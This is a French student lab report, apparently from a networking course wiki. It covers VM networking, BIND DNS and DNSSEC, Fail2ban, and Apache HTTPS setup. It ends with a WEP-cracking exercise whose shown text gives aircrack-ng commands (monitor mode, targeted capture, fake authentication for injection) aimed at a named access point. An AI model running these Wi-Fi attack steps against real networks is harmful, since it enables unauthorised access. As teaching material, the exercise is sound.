&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
iface eth0 inet6 auto&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Concernant l’adresse IPv4, nous avons choisi une adresse privée pour l’utilisation de notre binôme : 192.168.0.0/24.&lt;br /&gt;
&lt;br /&gt;
De plus, la machine mandataire joue le rôle de passerelle (gateway) pour les deux machines de services. Nous lui avons attribué l’adresse IPv4 192.168.0.1.&lt;br /&gt;
&lt;br /&gt;
Nous complétons donc le fichier avec une adresse statique :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 192.168.7.2 &lt;br /&gt;
    netmask 255.255.255.0&lt;br /&gt;
    gateway 192.168.7.1 &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==VM mandataire==&lt;br /&gt;
&lt;br /&gt;
Ensuite, il est nécessaire d’attribuer une seconde adresse IPv4 sur eth1. Toutefois, cette interface n’existe pas par défaut sur les machines virtuelles (VM). Il faut donc la créer en modifiant le fichier .cfg de la machine sur Capbreton.&lt;br /&gt;
&lt;br /&gt;
Dans la section Networking, on trouve une ligne vif à modifier. Nous l’ajustons pour ajouter une interface eth1 sur le bridge SE4, tout en conservant eth0.&lt;br /&gt;
&lt;br /&gt;
Après avoir redémarré la machine, l’interface eth1 sera disponible. Nous pouvons alors mettre à jour le fichier /etc/network/interfaces :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
# The loopback network interface&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
# Primary interface&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 192.168.7.1/24&lt;br /&gt;
&lt;br /&gt;
# Second interface&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
    address 193.48.57.170/27&lt;br /&gt;
    gateway 193.48.57.164&lt;br /&gt;
&lt;br /&gt;
iface eth1 inet6 auto&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Tests ==&lt;br /&gt;
&lt;br /&gt;
Après avoir mis UP toute les interfaces de nos VM nous obtenons bien nos adresse IPv4 et IPv6.&lt;br /&gt;
&lt;br /&gt;
Voici l'état des interfaces de la machine de service RS7 :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@rs7:~# ip a&lt;br /&gt;
1: lo: &amp;lt;LOOPBACK,UP,LOWER_UP&amp;gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000&lt;br /&gt;
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00&lt;br /&gt;
    inet 127.0.0.1/8 scope host lo&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 ::1/128 scope host &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
2: eth0: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc fq_codel state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:d3:d6:92 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet 192.168.7.2/24 brd 192.168.7.255 scope global eth0&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 fe80::216:3eff:fed3:d692/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
3: eth1: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc fq_codel state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:d3:d6:93 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet6 2001:660:4401:60a0:216:3eff:fed3:d693/64 scope global dynamic mngtmpaddr &lt;br /&gt;
       valid_lft 942sec preferred_lft 842sec&lt;br /&gt;
    inet6 fe80::216:3eff:fed3:d693/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et voici l'état des interface de la machines mandataire Garage :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@Garage:~# ip a&lt;br /&gt;
1: lo: &amp;lt;LOOPBACK,UP,LOWER_UP&amp;gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000&lt;br /&gt;
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00&lt;br /&gt;
    inet 127.0.0.1/8 scope host lo&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 ::1/128 scope host &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
2: eth0: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc fq_codel state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:e4:9c:07 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet 192.168.7.1/24 brd 192.168.7.255 scope global eth0&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 fe80::216:3eff:fee4:9c07/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
3: eth1: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc fq_codel state UP group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:e4:9c:08 brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
    inet 193.48.57.170/27 brd 193.48.57.191 scope global eth1&lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
    inet6 2001:660:4401:60a0:216:3eff:fee4:9c08/64 scope global dynamic mngtmpaddr &lt;br /&gt;
       valid_lft 893sec preferred_lft 793sec&lt;br /&gt;
    inet6 fe80::216:3eff:fee4:9c08/64 scope link &lt;br /&gt;
       valid_lft forever preferred_lft forever&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Test de la LAN ===&lt;br /&gt;
&lt;br /&gt;
Nous pouvons maintenant ping entre nos VM, voici un ping de RS7 vers C2:&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Ping C2.png|vignette|center|800px]]&lt;br /&gt;
&lt;br /&gt;
Et voici un ping de RS7 vers Garages&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Ping Garage.png|vignette|center|800px]]&lt;br /&gt;
&lt;br /&gt;
=== Test vers l'extérieur ===&lt;br /&gt;
&lt;br /&gt;
Nous vérifions maintenant si ma machines de service RS7 à bien accès à internet en IPv4 (via la VM mandataire) et en IPv6.&lt;br /&gt;
&lt;br /&gt;
Voici un ping de RS7 vers l'extérieur en IPv4:&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Ping ipv4.png|vignette|center|800px]]&lt;br /&gt;
&lt;br /&gt;
Et voici un ping de RS7 vers l'extérieur en IPv6:&lt;br /&gt;
[[Fichier:Ipv6.png|centré|vignette|800x800px]]&lt;br /&gt;
&lt;br /&gt;
=SSH=&lt;br /&gt;
&lt;br /&gt;
Nous avons configuré l’accès SSH à notre machine virtuelle Xen de services en autorisant la connexion de l’utilisateur root via le fichier /etc/ssh/sshd_config en activant l’option PermitRootLogin. Pour permettre l’accès via IPv4, nous avons mis en place une redirection de ports en utilisant iptables/nftables, en assignant le port 2203 à notre machine de services. De plus, nous avons installé les services essentiels, à savoir SSH, Apache2 pour l’hébergement web, ainsi que BIND pour la gestion des services DNS sur nos machines virtuelles.&lt;br /&gt;
&lt;br /&gt;
=DNS=&lt;br /&gt;
==Configuration du résolveur==&lt;br /&gt;
Nous avons configuré le serveur DNS de notre machine de services en modifiant le fichier resolv.conf pour y ajouter notre propre serveur DNS. Cela permet à la machine d’utiliser le bon résolveur pour la résolution des noms de domaine:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
search plil.info&lt;br /&gt;
nameserver 172.26.188.12&lt;br /&gt;
nameserver 193.48.57.48&lt;br /&gt;
&lt;br /&gt;
search rs7.online&lt;br /&gt;
nameserver 192.168.7.2&lt;br /&gt;
nameserver 192.168.7.3&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Configuration des zones==&lt;br /&gt;
Ensuite, nous avons modifié le fichier named.conf.local du package BIND9 afin de déclarer une zone principale pour rs7.online et une zone secondaire pour c2vts.fr.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
zone &amp;quot;rs7.zone&amp;quot; {&lt;br /&gt;
    type primary;&lt;br /&gt;
    file &amp;quot;/etc/bind/zones/rs7.zone.signed&amp;quot;;&lt;br /&gt;
    allow-transfer { secondaries; };&lt;br /&gt;
    also-notify { 2001:660:4401:60a0:216:3eff:fee4:9c08; };&lt;br /&gt;
    key-directory &amp;quot;/etc/bind/rs7.dnssec&amp;quot;;&lt;br /&gt;
    dnssec-policy &amp;quot;dnspol&amp;quot;;&lt;br /&gt;
    inline-signing yes;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
dnssec-policy &amp;quot;dnspol&amp;quot; {&lt;br /&gt;
    keys {&lt;br /&gt;
        ksk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
        zsk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
    };&lt;br /&gt;
    nsec3param;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot; {&lt;br /&gt;
    2001:660:4401:60a0:216:3eff:fed3:58ae;&lt;br /&gt;
    2001:660:4401:60a0:216:3eff:fee4:9c08;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;c2vts.fr&amp;quot; {&lt;br /&gt;
    type secondary;&lt;br /&gt;
    file &amp;quot;/etc/bind/backup/c2vts.fr.zone&amp;quot;;&lt;br /&gt;
    primaries { 2001:660:4401:60a0:216:3eff:fed3:58ae; };&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Création et configuration du fichier .zone==&lt;br /&gt;
Nous avons ensuite créé et configuré le fichier rs7.zone.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
$TTL 200&lt;br /&gt;
@       IN      SOA     ns.rs7.online. admin.rs7.online. (&lt;br /&gt;
        4004    ; Version&lt;br /&gt;
        21600   ; Refresh secondary    (6h)&lt;br /&gt;
        3600    ; Retry secondary      (1h)&lt;br /&gt;
        2592000 ; Expire if no refresh (30j)&lt;br /&gt;
        86400 ) ; Negative cache       (24h)&lt;br /&gt;
&lt;br /&gt;
; Serveurs de noms&lt;br /&gt;
@        IN      NS      ns.rs7.online.&lt;br /&gt;
@        IN      NS      ns.c2vts.fr.&lt;br /&gt;
&lt;br /&gt;
;Enregistrements A &lt;br /&gt;
@        IN     A     193.48.57.170&lt;br /&gt;
ns       IN     A     193.48.57.170 &lt;br /&gt;
&lt;br /&gt;
;Enregistrements AAAA&lt;br /&gt;
@        IN     AAAA  2001:660:4401:60a0:216:3eff:fed3:d693&lt;br /&gt;
ns       IN     AAAA  2001:660:4401:60a0:216:3eff:fed3:d693&lt;br /&gt;
&lt;br /&gt;
;Enregistrements CNAME&lt;br /&gt;
www      IN     CNAME rs7.online.&lt;br /&gt;
&lt;br /&gt;
$include &amp;quot;/etc/bind/rs7.dnssec/rs7.online-ksk.key&amp;quot;&lt;br /&gt;
$include &amp;quot;/etc/bind/rs7.dnssec/rs7.online-zsk.key&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On charge la version du fichier de zone avec la commande suivante :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@Gtr:/etc/bind/zones/rs7.online# named-checkzone rs7.zone&lt;br /&gt;
zone rs7.zone/IN: loaded serial 4004&lt;br /&gt;
OK&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Vérifications==&lt;br /&gt;
Enfin, nous avons vérifié la syntaxe et chargé ces fichiers de zone en utilisant la commande suivante dans le répertoire concerné :&lt;br /&gt;
&lt;br /&gt;
named-checkzone &amp;lt;nom du fichier&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ces configurations nous permettent d’assurer une résolution correcte des noms de domaine et de gérer efficacement notre infrastructure DNS.&lt;br /&gt;
&lt;br /&gt;
Après avoir effectué ces modifications, nous pouvons vérifier si notre DNS s’est correctement propagé sur le site DNSchecker.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:DNS.png|vignette|center|900px]]&lt;br /&gt;
&lt;br /&gt;
=DNSSEC=&lt;br /&gt;
&lt;br /&gt;
==Configuration de la méthode automatique==&lt;br /&gt;
Pour sécuriser notre DNS, nous modifions notre fichier named.conf.local pour utiliser la méthode automatique:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
zone &amp;quot;rs7&amp;quot; {&lt;br /&gt;
    type primary;&lt;br /&gt;
    file &amp;quot;/etc/bind/zones/rs7.zone.signed&amp;quot;;&lt;br /&gt;
    allow-transfer { secondaries; };&lt;br /&gt;
    also-notify { 2001:660:4401:60a0:216:3eff:fee4:9c08; };&lt;br /&gt;
    key-directory &amp;quot;/etc/bind/rs7.dnssec&amp;quot;;&lt;br /&gt;
    dnssec-policy &amp;quot;dnspol&amp;quot;;&lt;br /&gt;
    inline-signing yes;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
dnssec-policy &amp;quot;dnspol&amp;quot; {&lt;br /&gt;
    keys {&lt;br /&gt;
        ksk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
        zsk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
    };&lt;br /&gt;
    nsec3param;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot; {&lt;br /&gt;
    2001:660:4401:60a0:216:3eff:fed3:58ae;&lt;br /&gt;
    2001:660:4401:60a0:216:3eff:fee4:9c08;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;c2vts.fr&amp;quot; {&lt;br /&gt;
    type secondary;&lt;br /&gt;
    file &amp;quot;/etc/bind/backup/c2vts.fr.zone&amp;quot;;&lt;br /&gt;
    primaries { 2001:660:4401:60a0:216:3eff:fed3:58ae; };&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Génération des clés==&lt;br /&gt;
ensuite nous créeons le répertoire qui va acceuillir nos clés:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mkdir -p /etc/bind/keys&lt;br /&gt;
chown bind:bind /etc/bind/keys&lt;br /&gt;
chmod 700 /etc/bind/keys&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
et nous redémarrons le service :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
service named restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
voici nos clés disponible dans le répertoire /etc/bind/keys crée ci-dessus:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@rs7:/etc/bind/rs7.dnssec# ls&lt;br /&gt;
Krs7.+013+14689.key	 Krs7.+013+57317.private  rs7.online-ksk.private&lt;br /&gt;
Krs7.+013+14689.private  Krs7.+013+57317.state	  rs7.online-zsk.key&lt;br /&gt;
Krs7.+013+14689.state	 dsset-rs7.		  rs7.online-zsk.private&lt;br /&gt;
Krs7.+013+57317.key	 rs7.online-ksk.key&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous pouvons maintenant verifier sur le site &amp;quot;DNSViz&amp;quot; le DNS de rs7.online.&lt;br /&gt;
&lt;br /&gt;
= Fail2ban =&lt;br /&gt;
&lt;br /&gt;
Pour se protéger contre les attaques par '''brute force''' sur le service SSH, nous utilisons l’outil '''Fail2ban'''. La première étape consiste à modifier le fichier &amp;lt;code&amp;gt;jail.local&amp;lt;/code&amp;gt; afin d’y définir les paramètres de protection suivants :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
[sshd]&lt;br /&gt;
enabled = true&lt;br /&gt;
port    = ssh&lt;br /&gt;
filter  = sshd&lt;br /&gt;
logpath = %(sshd_log)s&lt;br /&gt;
backend = %(sshd_backend)s&lt;br /&gt;
maxretry = 3&lt;br /&gt;
findtime = 600&lt;br /&gt;
bantime  = 600&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Dans cette configuration :&lt;br /&gt;
* &amp;lt;code&amp;gt;maxretry&amp;lt;/code&amp;gt; indique le nombre maximal de tentatives autorisées avant le bannissement ;&lt;br /&gt;
* &amp;lt;code&amp;gt;findtime&amp;lt;/code&amp;gt; correspond à la période durant laquelle les tentatives sont comptabilisées avant réinitialisation ;&lt;br /&gt;
* &amp;lt;code&amp;gt;bantime&amp;lt;/code&amp;gt; définit la durée du bannissement de l’adresse IP fautive.&lt;br /&gt;
&lt;br /&gt;
La commande &amp;lt;code&amp;gt;fail2ban-client status sshd&amp;lt;/code&amp;gt; permet ensuite de consulter l’état du ''jail'' SSH, notamment le nombre de tentatives échouées, le nombre total de bannissements et la liste des adresses IP actuellement bloquées.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@rs7:/etc/bind# fail2ban-client status sshd&lt;br /&gt;
Status for the jail: sshd&lt;br /&gt;
|- Filter&lt;br /&gt;
|  |- Currently failed: 0&lt;br /&gt;
|  |- Total failed:     1&lt;br /&gt;
|  `- File list:        /var/log/auth.log&lt;br /&gt;
`- Actions&lt;br /&gt;
   |- Currently banned: 0&lt;br /&gt;
   |- Total banned:     1&lt;br /&gt;
   `- Banned IP list:&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Le même principe est appliqué pour limiter les attaques visant le service DNS. On ajoute alors une nouvelle configuration dans le fichier &amp;lt;code&amp;gt;jail.local&amp;lt;/code&amp;gt; :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
[connect-refused]&lt;br /&gt;
enabled  = true&lt;br /&gt;
port     = domain&lt;br /&gt;
protocol = tcp&lt;br /&gt;
filter   = connect-refused&lt;br /&gt;
logpath  = /var/log/syslog&lt;br /&gt;
maxretry = 3&lt;br /&gt;
bantime  = 600&lt;br /&gt;
findtime = 600&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Il est ensuite nécessaire de créer un filtre personnalisé dans le répertoire &amp;lt;code&amp;gt;filter.d&amp;lt;/code&amp;gt;, nommé &amp;lt;code&amp;gt;connect-refused.conf&amp;lt;/code&amp;gt;, afin de définir les motifs de requêtes TCP à bloquer :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@rs7:/etc/fail2ban/filter.d# cat connect-refused.conf&lt;br /&gt;
[Definition]&lt;br /&gt;
failregex = .* client_ip=&amp;lt;HOST&amp;gt;.*(NXDOMAIN|SERVFAIL|REFUSED).*&lt;br /&gt;
ignoreregex =&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Enfin, la commande &amp;lt;code&amp;gt;fail2ban-client status connect-refused&amp;lt;/code&amp;gt; permet de vérifier l’activité de ce ''jail'', notamment les tentatives détectées et les adresses IP bannies.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@rs7:/etc/fail2ban/filter.d# fail2ban-client status connect-refused&lt;br /&gt;
Status for the jail: connect-refused&lt;br /&gt;
|- Filter&lt;br /&gt;
|  |- Currently failed: 0&lt;br /&gt;
|  |- Total failed:     0&lt;br /&gt;
|  `- File list:        /var/log/syslog&lt;br /&gt;
`- Actions&lt;br /&gt;
   |- Currently banned: 0&lt;br /&gt;
   |- Total banned:     0&lt;br /&gt;
   `- Banned IP list:&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=HTTPS=&lt;br /&gt;
==Installation d'Apache2==&lt;br /&gt;
Dans un premier temps, j'ai installé le serveur Apache en utilisant la commande suivante :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
aptitude install apache2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite, j'ai activé le module SSL pour permettre les connexions HTTPS :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
a2enmod ssl&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Activation du port HTTPS==&lt;br /&gt;
Dans le fichier `/etc/apache2/ports.conf`, j'ai ajouté la configuration nécessaire pour qu'Apache écoute sur le port 443, le port HTTPS :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@rs7:~# cat /etc/apache2/ports.conf&lt;br /&gt;
# Port HTTP classique&lt;br /&gt;
Listen 80&lt;br /&gt;
&lt;br /&gt;
# Port HTTPS&lt;br /&gt;
&amp;lt;IfModule ssl_module&amp;gt;&lt;br /&gt;
    Listen 443&lt;br /&gt;
&amp;lt;/IfModule&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;IfModule mod_gnutls.c&amp;gt;&lt;br /&gt;
    Listen 443&lt;br /&gt;
&amp;lt;/IfModule&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Configuration du certificat SSL==&lt;br /&gt;
J'ai installé un certificat SSL, ainsi que la clé privée et le certificat intermédiaire fourni par Gandi pour créer une chaîne de confiance. Ces fichiers sont placés dans les répertoires appropriés sur le serveur :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
/etc/ssl/certs/rs7.online.crt : Certificat SSL&lt;br /&gt;
/etc/ssl/private/rs7.online.key : Clé privée&lt;br /&gt;
/etc/ssl/certs/GandiCert.pem : Certificat intermédiaire&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Configuration du domaine sécurisé==&lt;br /&gt;
J'ai créé un fichier de configuration spécifique pour mon domaine (rs7.online) dans le répertoire `/etc/apache2/sites-available/rs7.online.conf`. Ce fichier définit un `VirtualHost` pour le port 443 et redirige toute les requetes http sur le port 80 vers https :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@rs7:~# cat /etc/apache2/sites-available/rs7.online.conf &lt;br /&gt;
 &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
        ServerName rs7.online.&lt;br /&gt;
	ServerAlias www.rs7.online.&lt;br /&gt;
        Redirect permanent / https://rs7.online/  &lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
&lt;br /&gt;
        ServerName rs7.online.&lt;br /&gt;
        DocumentRoot /var/www/rs7.online/&lt;br /&gt;
        CustomLog /var/log/apache2/secure_access.log combined&lt;br /&gt;
&lt;br /&gt;
        SSLEngine on&lt;br /&gt;
        SSLCertificateFile /etc/ssl/certs/rs7.online.crt&lt;br /&gt;
        SSLCertificateKeyFile /etc/ssl/private/rs7.online.key&lt;br /&gt;
        SSLCertificateChainFile /etc/ssl/certs/GandiCert.pem&lt;br /&gt;
        SSLVerifyClient None&lt;br /&gt;
	ProxyPass / http://[2001:660:4401:60a0:216:3eff:fed3:d693]/&lt;br /&gt;
	ProxyPassReverse / http://[2001:660:4401:60a0:216:3eff:fed3:d693]/&lt;br /&gt;
        SSLProxyEngine on&lt;br /&gt;
	&amp;lt;Directory /var/www/rs7.online&amp;gt;&lt;br /&gt;
		AllowOverride All&lt;br /&gt;
		Require all granted&lt;br /&gt;
	&amp;lt;/Directory&amp;gt;&lt;br /&gt;
	ErrorLog ${APACHE_LOG_DIR}/rs7.online_error.log&lt;br /&gt;
	CustomLog ${APACHE_LOG_DIR}/rs7.online_access.log combined&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Vérification du certificat SSL==&lt;br /&gt;
Enfin, j'ai effectué le rehash de la structure SSL pour m'assurer que tous les certificats étaient bien reconnus et prêts à être utilisés :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
c_rehash /etc/ssl/certs&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Notre page web est maintenant accessible via http://rs7.online .&lt;br /&gt;
&lt;br /&gt;
= Effraction Wi-Fi = &lt;br /&gt;
&lt;br /&gt;
== Cassage de clef WEP d’un point d’accès WiFi ==&lt;br /&gt;
&lt;br /&gt;
L’objectif de cette manipulation est de démontrer expérimentalement la vulnérabilité du protocole WEP (Wired Equivalent Privacy) en réalisant une attaque par analyse statistique des vecteurs d’initialisation (IV).&lt;br /&gt;
&lt;br /&gt;
* BSSID du point d’accès cible : '''00:14:BF:63:1E:42'''  &lt;br /&gt;
* Canal utilisé : '''11'''&lt;br /&gt;
&lt;br /&gt;
=== Passage de l’interface en mode monitor ===&lt;br /&gt;
&lt;br /&gt;
Afin de capturer les trames 802.11 brutes, l’interface Wi-Fi est placée en mode monitor :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
airmon-ng start wlan0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Cette commande crée une interface dédiée permettant l’écoute passive du trafic Wi-Fi.&lt;br /&gt;
&lt;br /&gt;
=== Identification du réseau cible ===&lt;br /&gt;
&lt;br /&gt;
Scan des réseaux protégés en WEP :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
airodump-ng --encrypt WEP wlan0mon&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Le réseau cible identifié présente les caractéristiques suivantes :&lt;br /&gt;
&lt;br /&gt;
=== Capture du trafic ===&lt;br /&gt;
&lt;br /&gt;
Capture ciblée du point d’accès :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
airodump-ng --channel 11 \&lt;br /&gt;
            --bssid 00:14:BF:63:1E:42 \&lt;br /&gt;
            --write capture_wep \&lt;br /&gt;
            wlan0mon&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Cette étape permet d’accumuler les trames chiffrées nécessaires à l’analyse statistique.&lt;br /&gt;
&lt;br /&gt;
=== Authentification d’une adresse MAC d’injection ===&lt;br /&gt;
&lt;br /&gt;
Pour permettre l’injection de trafic, une adresse MAC locale est associée au point d’accès :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
aireplay-ng --fakeauth 0 \&lt;br /&gt;
            -a 00:14:BF:63:1E:42 \&lt;br /&gt;
            -h 02:11:22:33:44:55 \&lt;br /&gt;
            wlan0mon&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* -a : BSSID réel du point d’accès&lt;br /&gt;
* -h : adresse MAC utilisée pour l’injection&lt;br /&gt;
